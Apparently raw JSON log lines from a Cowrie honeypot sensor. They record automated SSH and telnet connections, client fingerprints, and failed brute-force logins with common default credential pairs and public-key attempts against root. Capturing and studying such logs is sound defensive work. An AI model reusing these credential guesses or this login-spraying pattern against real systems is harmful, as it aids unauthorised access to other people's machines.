{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:08.006373Z","src_ip":"192.109.200.78","session":"576474576489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"root","message":"login attempt [claude/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:08.253417Z","src_ip":"192.109.200.78","session":"576474576489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.463748931884766,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:09.214102Z","src_ip":"172.81.62.90","session":"1ea0e6cf49c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:09.341406Z","src_ip":"192.109.200.78","session":"576474576489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36632,"dst_ip":"10.17.0.5","dst_port":22,"session":"704ed8eed66d","protocol":"ssh","message":"New connection: 192.109.200.78:36632 (10.17.0.5:22) [session: 704ed8eed66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:11.372582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:11.376373Z","src_ip":"192.109.200.78","session":"704ed8eed66d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:11.457296Z","src_ip":"192.109.200.78","session":"704ed8eed66d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:11.701221Z","src_ip":"192.109.200.78","session":"704ed8eed66d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:12.785311Z","src_ip":"192.109.200.78","session":"704ed8eed66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":53782,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2a711b0377b","protocol":"ssh","message":"New connection: 46.29.234.126:53782 (159.203.135.109:22) [session: a2a711b0377b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:14.718935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:14.723144Z","src_ip":"46.29.234.126","session":"a2a711b0377b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47582,"dst_ip":"10.17.0.5","dst_port":22,"session":"933ee4e26525","protocol":"ssh","message":"New connection: 192.109.200.78:47582 (10.17.0.5:22) [session: 933ee4e26525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:14.748298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:14.752498Z","src_ip":"192.109.200.78","session":"933ee4e26525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:14.834758Z","src_ip":"192.109.200.78","session":"933ee4e26525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:14.842060Z","src_ip":"46.29.234.126","session":"a2a711b0377b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.19.195","src_port":34052,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e840607ca0b","protocol":"ssh","message":"New connection: 210.114.19.195:34052 (10.17.0.5:22) [session: 8e840607ca0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:15.081438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:15.085359Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:15.088635Z","src_ip":"192.109.200.78","session":"933ee4e26525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:15.293767Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"Huawei12#$","message":"login attempt [user01/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:15.309975Z","src_ip":"46.29.234.126","session":"a2a711b0377b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:16.173367Z","src_ip":"192.109.200.78","session":"933ee4e26525","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:b0:d6:5a:b4:ac:d2:66:74:3e:c6:cb:7f:35:9f:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7q2INOA0iwjGBQjWr+LKCWMIwMC/a+bP6Rvkoa73yb5sJTTO/H2Che6OhkuOp1Sm8s3VAx1QFQ/ob+iGOpo3s9nCLpjAQRFPzrAhqfhIBD8cC4XE3SXFk50j772aZeKG41d5lgIFdyZNpCiqNMJllGN2PEoxO/vZ4NfVIr8px/5rXuvn471XIWhN6w6FSxa2O4xAPsT5mYzgxEM2HiA1mkRwyGEHSfMssO+Zfp26Hde0d5UVUimpTTIwE9Q8FcyPxOKhpH1l8lvsEvbXgwggcgFrtHvxH55pO3lgpbnMizLkEu2e19u/KkQ1TgztLxJl0gtD9xHeSjC0hptC4yfjz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:b0:d6:5a:b4:ac:d2:66:74:3e:c6:cb:7f:35:9f:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:16.322718Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:b0:d6:5a:b4:ac:d2:66:74:3e:c6:cb:7f:35:9f:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7q2INOA0iwjGBQjWr+LKCWMIwMC/a+bP6Rvkoa73yb5sJTTO/H2Che6OhkuOp1Sm8s3VAx1QFQ/ob+iGOpo3s9nCLpjAQRFPzrAhqfhIBD8cC4XE3SXFk50j772aZeKG41d5lgIFdyZNpCiqNMJllGN2PEoxO/vZ4NfVIr8px/5rXuvn471XIWhN6w6FSxa2O4xAPsT5mYzgxEM2HiA1mkRwyGEHSfMssO+Zfp26Hde0d5UVUimpTTIwE9Q8FcyPxOKhpH1l8lvsEvbXgwggcgFrtHvxH55pO3lgpbnMizLkEu2e19u/KkQ1TgztLxJl0gtD9xHeSjC0hptC4yfjz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:16.325905Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:16.426175Z","src_ip":"46.29.234.126","session":"a2a711b0377b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:68:da:e4:fe:40:f6:8b:6a:71:c5:05:5e:36:80:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6wObQ41N6eUMN81tMoNTxc99SDkVOSAUZam+xsSodsyrUs0u5jAgTfhngJFseXvcA+oFdu9A+ua//WOnkTCg4fBBYOtpBAWRWh7J+1DreWtWqi5w2ExiTChrDb5G2lfeEk1oDWBhMQT8yf5SjRmO8oZrWM45FXqnt4wDuhLjDD6132k6gyRyQ7tdObDTdPZRgW3P4Thv7HyYall9xstonVh8nJTqoTSnioddTB8zJPUoP606R0bJw+uPCNTc8R4ErACA8J0ZPEpk0o0DJH7tilmEcZ73YjtU/Z6L/g1I7ZxikeTg/Xug3agxWPFLQTiTpoyksnAan88ffieAc14hD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:68:da:e4:fe:40:f6:8b:6a:71:c5:05:5e:36:80:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:16.534960Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:68:da:e4:fe:40:f6:8b:6a:71:c5:05:5e:36:80:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6wObQ41N6eUMN81tMoNTxc99SDkVOSAUZam+xsSodsyrUs0u5jAgTfhngJFseXvcA+oFdu9A+ua//WOnkTCg4fBBYOtpBAWRWh7J+1DreWtWqi5w2ExiTChrDb5G2lfeEk1oDWBhMQT8yf5SjRmO8oZrWM45FXqnt4wDuhLjDD6132k6gyRyQ7tdObDTdPZRgW3P4Thv7HyYall9xstonVh8nJTqoTSnioddTB8zJPUoP606R0bJw+uPCNTc8R4ErACA8J0ZPEpk0o0DJH7tilmEcZ73YjtU/Z6L/g1I7ZxikeTg/Xug3agxWPFLQTiTpoyksnAan88ffieAc14hD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:16.538268Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:f4:67:da:bc:93:db:5f:8e:65:c0:db:80:f1:f8:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAxSUnw5D9uQz9qhtU1WDphoLF1dyG6ufTaW2oYduCkCyFPuVUgJwp6Y4kwa//mBNVWlkVUN7KzAcyVgcDGjZJutEOmLoMhzeYX81TFYSX00tlAtLq7sC1zy0dqnW0PH2ZTU66GK6yoOmvBveND2wRrYxAC7q75zJv5yIdLVOq7RRGojlml5g5uIR8eucokGKTANlpAraRt1flJPiDw5rIaH8z+dEGw/ROQsBYZ1GYTNwyUA0+0Y3py89JJD+4O6hu1is5nTyEkLx0NSndri2X3qkgmiqolCRc4K4XdSJdybAy/RFkjlZ75jIhztW8gqmj6H+t/PfRtFpFVYYqQpspE4xPZYR5xZCZvDD2tgYMMcbcG6ap4RTNGhRngx4md9k/yNHu6vFMcNe56GOI++YkVDLTeEkKV6iZEzxZrLfnTSvOr26RMy6SbMFVtsaB8zHrH8iQfmny+Yo4rXMa6TC+qlNaKgpTgiiWp0X4PSNtlmFbbP6vaofQyAnb68pzeUQp2dq9kdZYiOhS0CeEDRQsItDWvif97XprVoaa7KjCErksA/H/qSFyA9+zuTCvC7HtTmNn3W5fFfrYIqHodvajyqz5oLl0Xy2TztP4h6WV4vu9dQ3iD6VaTbvqoMvSxc0TX91aAjcNq46T/8wTAXt5lmYP4J2rAGHyEu8bKBsRtHU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:f4:67:da:bc:93:db:5f:8e:65:c0:db:80:f1:f8:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:16.749362Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:f4:67:da:bc:93:db:5f:8e:65:c0:db:80:f1:f8:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAxSUnw5D9uQz9qhtU1WDphoLF1dyG6ufTaW2oYduCkCyFPuVUgJwp6Y4kwa//mBNVWlkVUN7KzAcyVgcDGjZJutEOmLoMhzeYX81TFYSX00tlAtLq7sC1zy0dqnW0PH2ZTU66GK6yoOmvBveND2wRrYxAC7q75zJv5yIdLVOq7RRGojlml5g5uIR8eucokGKTANlpAraRt1flJPiDw5rIaH8z+dEGw/ROQsBYZ1GYTNwyUA0+0Y3py89JJD+4O6hu1is5nTyEkLx0NSndri2X3qkgmiqolCRc4K4XdSJdybAy/RFkjlZ75jIhztW8gqmj6H+t/PfRtFpFVYYqQpspE4xPZYR5xZCZvDD2tgYMMcbcG6ap4RTNGhRngx4md9k/yNHu6vFMcNe56GOI++YkVDLTeEkKV6iZEzxZrLfnTSvOr26RMy6SbMFVtsaB8zHrH8iQfmny+Yo4rXMa6TC+qlNaKgpTgiiWp0X4PSNtlmFbbP6vaofQyAnb68pzeUQp2dq9kdZYiOhS0CeEDRQsItDWvif97XprVoaa7KjCErksA/H/qSFyA9+zuTCvC7HtTmNn3W5fFfrYIqHodvajyqz5oLl0Xy2TztP4h6WV4vu9dQ3iD6VaTbvqoMvSxc0TX91aAjcNq46T/8wTAXt5lmYP4J2rAGHyEu8bKBsRtHU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:16.753156Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:d0:30:c1:72:4a:53:fe:ed:ed:6e:73:f3:50:39:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdL/zZepUEvgLE0MCXyaB0eBXcF4JOCKs1ckG65XYLDTkH4s7Xg7GHxdvKZfzm6pPD+cb+bc8zz5R3M0Taa3opyj0xDhQGQSoFi0rggR8dAPwub6mStUku5w7/cTciHWryvooI6a2cEWJd7ZD7iONEpUB4v6Flqorjd94mpjr+KulPzwYNsMOi784ZAQKTqXoD9w9EEEkfjuv2mvci7mPMpHQewhl96ZSDanSc63x4i1gY4TesQJd22ynN6rsgZs1HZWy0Bz05diTphqdHP6ipvCCrvU8doKtFoSDLV94R6IUeV3ttH4KAXSHcrkBIYFUO3afWBq2wHqF2NIYKaJyb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:d0:30:c1:72:4a:53:fe:ed:ed:6e:73:f3:50:39:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:16.966874Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:d0:30:c1:72:4a:53:fe:ed:ed:6e:73:f3:50:39:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdL/zZepUEvgLE0MCXyaB0eBXcF4JOCKs1ckG65XYLDTkH4s7Xg7GHxdvKZfzm6pPD+cb+bc8zz5R3M0Taa3opyj0xDhQGQSoFi0rggR8dAPwub6mStUku5w7/cTciHWryvooI6a2cEWJd7ZD7iONEpUB4v6Flqorjd94mpjr+KulPzwYNsMOi784ZAQKTqXoD9w9EEEkfjuv2mvci7mPMpHQewhl96ZSDanSc63x4i1gY4TesQJd22ynN6rsgZs1HZWy0Bz05diTphqdHP6ipvCCrvU8doKtFoSDLV94R6IUeV3ttH4KAXSHcrkBIYFUO3afWBq2wHqF2NIYKaJyb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:16.970566Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:17:1c:ed:fb:cc:98:79:e1:80:68:44:d2:47:7a:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4HekggmNNtahQ//MlW1T27X76ne7WhSdzo2ETN30OONjOcvyou8OBIPnns+fsRRRKntQ6A137rvimr8X8fH6ehOeH8ionDxOuz1jwqivJum8CYHM07QUCZrFflAzsM2iJ/2R2sx3zdA8yBJw1ai9RXnYqlDbywN4Bp5oJ9+H86xuVl911kXpvKejuw3K5KaickIUYieqK6PL8J8EVyytr+C1FuzQTNo3CKdSn+eabAAhaspXgBHByMvKIgv2iDVh1o2LxFQWOxi3HQB3FRQ1KvGnMIszR/8uXHnQhe0+KGE/yDKK/AMTPcWKJ2y6r5hPxnY0/27rwvPL74JdtydzVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:17:1c:ed:fb:cc:98:79:e1:80:68:44:d2:47:7a:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:17.181625Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
